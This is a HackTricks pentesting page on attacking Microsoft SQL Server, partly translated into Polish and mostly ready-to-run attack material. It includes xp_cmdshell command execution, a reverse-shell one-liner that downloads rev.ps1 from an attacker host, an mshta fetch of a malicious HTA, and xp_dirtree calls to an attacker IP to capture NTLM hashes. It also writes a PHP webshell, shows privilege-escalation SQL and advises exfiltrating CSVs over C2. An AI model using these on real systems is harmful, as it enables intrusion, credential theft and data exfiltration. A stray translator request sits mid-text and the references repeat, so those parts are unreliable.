# 1433 - Pentesting MSSQL - Microsoft SQL Server

{{#include ../../banners/hacktricks-training.md}}

## Podstawowe informacje

Źródło: [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):

> **Microsoft SQL Server** jest **relacyjnym systemem zarządzania bazą danych** opracowanym przez Microsoft. Jako serwer baz danych jest produktem programowym o podstawowej funkcji przechowywania i pobierania danych na żądanie innych aplikacji programowych — które mogą działać na tym samym komputerze lub na innym komputerze w sieci (włącznie z Internetem).

**Domyślny port:** 1433
```
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Default MS-SQL System Tables**

- **master Database**: Ta baza danych jest kluczowa, ponieważ zawiera wszystkie informacje na poziomie systemowym dla instancji SQL Server.
- **msdb Database**: SQL Server Agent wykorzystuje tę bazę danych do zarządzania harmonogramem alertów i zadań.
- **model Database**: Służy jako szablon dla każdej nowej bazy danych na instancji SQL Server — wszelkie zmiany, takie jak rozmiar, collation, recovery model i inne, są odzwierciedlane w nowo tworzonych bazach.
- **Resource Database**: Baza tylko do odczytu, która zawiera obiekty systemowe dostarczane z SQL Server. Obiekty te, choć fizycznie przechowywane w Resource database, są logicznie prezentowane w schemacie sys każdej bazy danych.
- **tempdb Database**: Służy jako obszar tymczasowego przechowywania dla obiektów ulotnych lub pośrednich zbiorów wyników.

## Enumeration

### Automatic Enumeration

If you don't know anything about the service:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!TIP]
> Jeśli **nie** **masz credentials**, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploit. Uważaj — możesz **zablokować konta**, jeśli kilka razy nieudanie wykonasz login przy użyciu istniejącego username.

#### Metasploit (need creds)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)

### Ręczna enumeracja

#### Logowanie

[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
```

```bash
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
```
#### Typowa enumeracja
```sql
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]
```
#### Pobierz użytkownika


{{#ref}}
types-of-mssql-users.md
{{#endref}}
```sql
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### Uzyskaj uprawnienia

1. **Obiekt zabezpieczany (Securable):** Zdefiniowany jako zasoby zarządzane przez SQL Server w celu kontroli dostępu. Są one kategoryzowane na:
- **Serwer** – przykłady obejmują bazy danych, loginy, endpoints, availability groups oraz role serwera.
- **Baza danych** – przykłady obejmują role bazy danych, application roles, schemat, certyfikaty, katalogi pełnotekstowe (full text catalogs) oraz użytkowników.
- **Schemat** – obejmuje tabele, widoki, procedury, funkcje, synonimy itd.

2. **Uprawnienie (Permission):** Powiązane z obiektami zabezpieczanymi SQL Server, uprawnienia takie jak ALTER, CONTROL i CREATE mogą być nadawane principal. Zarządzanie uprawnieniami odbywa się na dwóch poziomach:
- **Poziom serwera (Server Level)** przy użyciu loginów
- **Poziom bazy danych (Database Level)** przy użyciu użytkowników

3. **Principal:** Termin ten odnosi się do podmiotu, któremu przyznano uprawnienia do obiektu zabezpieczanego. Principalami są głównie loginy i użytkownicy bazy danych. Kontrolę dostępu do obiektów zabezpieczanych realizuje się poprzez nadawanie lub odmawianie uprawnień albo przez umieszczanie loginów i użytkowników w rolach posiadających prawa dostępu.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## Triki

### Wykonywanie poleceń systemu operacyjnego

> [!CAUTION]
> Zwróć uwagę, że aby móc wykonywać polecenia, nie wystarczy, że **`xp_cmdshell`** jest **włączony** — konieczne jest także posiadanie **uprawnienia EXECUTE do procedury składowanej `xp_cmdshell`**. Możesz sprawdzić, kto (oprócz sysadmins) może używać **`xp_cmdshell`** za pomocą:
>
> ```sql
> Use master
> EXEC sp_helprotect 'xp_cmdshell'
> ```
```bash
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Zdalne gromadzenie danych SQL oparte na WMI (sqlcmd + CSV export)

Operatorzy mogą przemieszczać się z warstwy IIS/app do SQL Servers, używając WMI do uruchomienia małego pliku batch, który uwierzytelnia się w MSSQL i wykonuje zapytania ad‑hoc, eksportując wyniki do CSV. Dzięki temu zbieranie danych pozostaje proste i wtapia się w aktywność administratora.

Przykład mssq.bat
```bat
@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
```
Wywołaj to zdalnie przy użyciu WMI
```cmd
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
```
Alternatywa dla PowerShell
```powershell
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
```
Uwagi
- sqlcmd może być nieobecny; użyj w zamian osql, PowerShell Invoke-Sqlcmd lub jednowierszowego polecenia używającego System.Data.SqlClient.
- Używaj cytowania ostrożnie; długie/złożone zapytania łatwiej dostarczyć przez plik lub argument zakodowany w Base64 i dekodowany wewnątrz stubu batch/PowerShell.
- Eksfiltruj CSV przez SMB (np. skopiuj z \\SQLHOST\C$\Windows\Temp) lub skompresuj i przenieś przez swój C2.



### Pobierz hashe haseł
```bash
SELECT * FROM master.sys.syslogins;
```
### Steal NetNTLM hash / Relay attack

Uruchom **SMB server**, aby przechwycić hash używany w uwierzytelnianiu (`impacket-smbserver` lub `responder` na przykład).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> Możesz sprawdzić, kto (oprócz sysadminów) ma uprawnienia do uruchamiania tych funkcji MSSQL za pomocą:
>
> ```sql
> Use master;
> EXEC sp_helprotect 'xp_dirtree';
> EXEC sp_helprotect 'xp_subdirs';
> EXEC sp_helprotect 'xp_fileexist';
> ```

Korzystając z narzędzi takich jak **responder** lub **Inveigh** możliwe jest **wykradzenie hasha NetNTLM**.\
Możesz zobaczyć, jak używać tych narzędzi w:


{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}

### Nadużywanie zaufanych łączy MSSQL

[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **aby znaleźć więcej informacji o tym, jak wykorzystać tę funkcję:**


{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
{{#endref}}

### **Zapis plików**

Aby zapisać pliki za pomocą `MSSQL`, musimy **włączyć** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), co wymaga uprawnień administratora, a następnie wykonać kilka procedur składowanych, aby utworzyć plik:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **Odczyt pliku za pomocą** OPENROWSET

Domyślnie `MSSQL` pozwala na **odczyt dowolnego pliku w systemie operacyjnym, do którego konto ma uprawnienia odczytu**. Możemy użyć następującego zapytania SQL:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
Jednak opcja **`BULK`** wymaga uprawnienia **`ADMINISTER BULK OPERATIONS`** lub **`ADMINISTER DATABASE BULK OPERATIONS`**.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Wektor oparty na błędach dla SQLi:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Read files executing scripts (Python and R)**

MSSQL może pozwolić na uruchamianie **skryptów w Python i/lub R**. Ten kod będzie wykonywany przez **innego użytkownika** niż ten używający **xp_cmdshell** do wykonywania poleceń.

Przykład próby uruchomienia **'R'** _"Hellow World!"_ **nie działa**:

![](<../../images/image (393).png>)

Przykład użycia skonfigurowanego Python do wykonania kilku działań:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```
### Odczyt rejestru

Microsoft SQL Server udostępnia **wiele rozszerzonych procedur składowanych**, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet z [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**

| **Standardowe**            | **Zależne od instancji**             |
| --------------------------- | ------------------------------------ |
| sys.xp_regread              | sys.xp_instance_regread              |
| sys.xp_regenumvalues        | sys.xp_instance_regenumvalues        |
| sys.xp_regenumkeys          | sys.xp_instance_regenumkeys          |
| sys.xp_regwrite             | sys.xp_instance_regwrite             |
| sys.xp_regdeletevalue       | sys.xp_instance_regdeletevalue       |
| sys.xp_regdeletekey         | sys.xp_instance_regdeletekey         |
| sys.xp_regaddmultistring    | sys.xp_instance_regaddmultistring    |
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
```sql
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Aby uzyskać **więcej przykładów**, zobacz [**oryginalne źródło**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).

### RCE z MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>

Możliwe jest **załadowanie .NET dll w MSSQL przy użyciu custom functions**. Wymaga to jednak **dostępu `dbo`**, więc potrzebne jest połączenie z bazą danych **jako `sa` lub w roli Administratora**.

Zobacz przykład, klikając [**ten link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp).

### RCE z `autoadmin_task_agents`

Zgodnie z [**tym postem**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), możliwe jest również załadowanie zdalnej dll i zmuszenie MSSQL do jej wykonania za pomocą czegoś takiego:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
Proszę wklej zawartość (lub fragment) pliku src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md, którą mam przetłumaczyć na polski.
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}
```
### Inne sposoby na RCE

Istnieją inne metody uzyskania wykonania poleceń, takie jak dodanie [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), oraz [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).

## MSSQL Privilege Escalation

### Z db_owner do sysadmin

Jeśli **zwykłemu użytkownikowi** nadano rolę **`db_owner`** nad **bazą danych należącą do użytkownika administratora** (np. **`sa`**) i ta baza jest skonfigurowana jako **`trustworthy`**, użytkownik może nadużyć tych uprawnień, aby dokonać **privesc**, ponieważ **procedury składowane** utworzone w tej bazie mogą **wykonywać się** jako właściciel (**administrator**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
Możesz użyć modułu **metasploit**:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
Albo skrypt **PS**:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Podszywanie się pod innych użytkowników

SQL Server ma specjalne uprawnienie o nazwie **`IMPERSONATE`**, które **pozwala wykonującemu użytkownikowi przyjąć uprawnienia innego użytkownika** lub loginu, dopóki kontekst nie zostanie zresetowany lub sesja się nie zakończy.
```sql
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]
```
> [!TIP]
> Jeśli możesz impersonate a user, nawet jeśli nie jest sysadmin, powinieneś sprawdzić **czy użytkownik ma dostęp** do innych **databases** lub linked servers.

Zauważ, że gdy już jesteś sysadmin, możesz impersonate dowolnego innego:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
Możesz przeprowadzić ten atak za pomocą modułu **metasploit**:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
lub za pomocą skryptu **PS**:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## Używanie MSSQL do Persistence

[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)

## Wyodrębnianie haseł z SQL Server Linked Servers

Atakujący może wyodrębnić hasła SQL Server Linked Servers z instancji SQL i uzyskać je w postaci tekstu jawnego, co daje możliwość zdobycia większej pozycji na celu. Skrypt do wyodrębnienia i odszyfrowania haseł przechowywanych dla Linked Servers można znaleźć [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)

Aby exploit zadziałał, należy spełnić pewne wymagania i wprowadzić konfiguracje. Przede wszystkim musisz mieć prawa Administratora na maszynie lub możliwość zarządzania konfiguracją SQL Server.

Po potwierdzeniu uprawnień, trzeba skonfigurować trzy rzeczy, które są następujące:

1. Włączyć TCP/IP na instancjach SQL Server;
2. Dodać parametr Start Up — w tym przypadku zostanie dodany trace flag -T7806.
3. Włączyć remote admin connection.

Aby zautomatyzować te konfiguracje, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera potrzebne skrypty. Oprócz skryptu powershell dla każdego kroku konfiguracji, repozytorium ma też pełny skrypt łączący skrypty konfiguracyjne oraz wyodrębnianie i odszyfrowanie haseł.

Dla dalszych informacji, zobacz poniższe linki dotyczące tego ataku: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)

[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)

## Lokalna eskalacja uprawnień

Użytkownik uruchamiający MSSQL server będzie miał włączony token uprawnień **SeImpersonatePrivilege.**\
Prawdopodobnie będziesz w stanie **eskalować do Administratora** postępując według jednej z tych 2 stron:


{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}


{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/juicypotato.md
{{#endref}}

## Shodan

- `port:1433 !HTTP`

## Źródła

- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)


- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)

## HackTricks — Automatyczne polecenia
```
Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

